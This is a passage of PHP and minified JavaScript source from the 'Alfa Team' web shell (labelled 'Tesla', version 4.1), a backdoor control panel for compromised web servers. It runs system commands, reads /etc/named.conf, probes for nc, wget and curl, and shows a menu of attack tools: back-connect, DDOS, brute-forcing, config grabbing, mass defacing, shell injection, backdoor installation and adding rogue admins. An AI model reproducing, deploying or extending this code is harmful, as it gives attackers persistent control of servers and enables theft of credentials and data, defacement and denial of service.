o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php
echo "__ALFA_SECRET_KEY__";
?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php
echo "<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\r\n<input type='hidden' name='a' value='dlfile'>\r\n<input type='hidden' name='c' value=''>\r\n<input type='hidden' name='file' value=''>\r\n</form>\r\n<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\r\n<div id='a_loader'><img src='" . __showicon('loader') . "'></div>";
$cmd_uname = alfaEx("uname -a", false, false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
if ($uname == "( php_uname ) Function Disabled !") {
$GLOBALS["need_to_update_header"] = "true";
}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
for ($s = 1; $s <= 10; $s++) {
echo '<input type="hidden" name="alfa' . $s . '">';
}
echo "<input type=\"hidden\" name=\"charset\">\r\n</form>\r\n<div id='hidden_sh'><a class=\"alert_green\" target=\"_blank\" href=\"?solevisible\"><span style=\"color:#42ff59;\">Tesla</span><br><small>Version: <span class=\"hidden_shell_version\">4.1</span></small></a></div>\r\n<div class=\"header\"><table width=\"100%\" border=\"0\">\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">Uname:</span></td>\r\n<td colspan=\"2\"><span class=\"header_values\" id=\"header_uname\">" . $uname . '</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>' . (!@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"]) . '</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ' . @$_SERVER["REMOTE_ADDR"] . '</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if ($GLOBALS['sys'] == 'unix') {
$d0mains = _alfa_file("/etc/named.conf", false);
if (!$d0mains) {
echo "Cant Read [ /etc/named.conf ]";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
echo "{$count} Domains";
}
} else {
echo "Cant Read [ /etc/named.conf ]";
}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>' . alfaSize($totalSpace) . ' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</b></td>
</tr>';
if ($GLOBALS['sys'] == 'unix') {
$useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if (!@ini_get('safe_mode')) {
if (strlen(alfaEx("id", false, false)) > 0) {
echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Useful : </span>";
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl');
$x = 0;
foreach ($userful as $item) {
if (alfaWhich($item)) {
$x++;
echo '<span class="header_values" style="margin-left: 4px;">' . $item . '</span>';
}
}
if ($x == 0) {
echo "<span class='header_values' id='header_useful'>--------------</span>";
$GLOBALS["need_to_update_header"] = "true";
}
echo "</td>\r\n</tr>\r\n<tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span>";
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
$x = 0;
foreach ($downloaders as $item2) {
if (alfaWhich($item2)) {
$x++;
echo '<span class="header_values" style="margin-left: 4px;">' . $item2 . '</span>';
}
}
if ($x == 0) {
echo "<span class='header_values' id='header_downloader'>--------------</span>";
$GLOBALS["need_to_update_header"] = "true";
}
echo "</td>\r\n</tr>";
} else {
echo $useful_downloader;
$GLOBALS["need_to_update_header"] = "true";
}
} else {
echo $useful_downloader;
$GLOBALS["need_to_update_header"] = "true";
}
} else {
echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Windows:</span><b>";
echo alfaEx('ver', false, false);
echo "</td>\r\n</tr> <tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span><b>-------------</b></td>\r\n</tr></b>";
}
$quotes = function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0';
if ($quotes == "1" or $quotes == "on") {
$magic = '<b><span class="header_on">ON</span>';
} else {
$magic = '<span class="header_off">OFF</span>';
}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>' . Alfa_GetDisable_Function() . '</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == "unix" ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : "") . '</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td>
</tr>';
if ($GLOBALS['sys'] == "win") {
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>' . $drives . '</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="#action=fileman&path=' . $GLOBALS['home_cwd'] . '" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell');
foreach ($li as $key => $value) {
echo '<li><a id="menu_opt_' . $key . '" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=' . $key . '" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=' . $key . '\';g(\'' . $key . '\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">' . $value . '</a></li>' . "\n";
}
echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>' . (!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>' : '') . '</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="' . $GLOBALS['cwd'] . '" fm_id="1" id="filesman_tab_1" class="filesman_tab 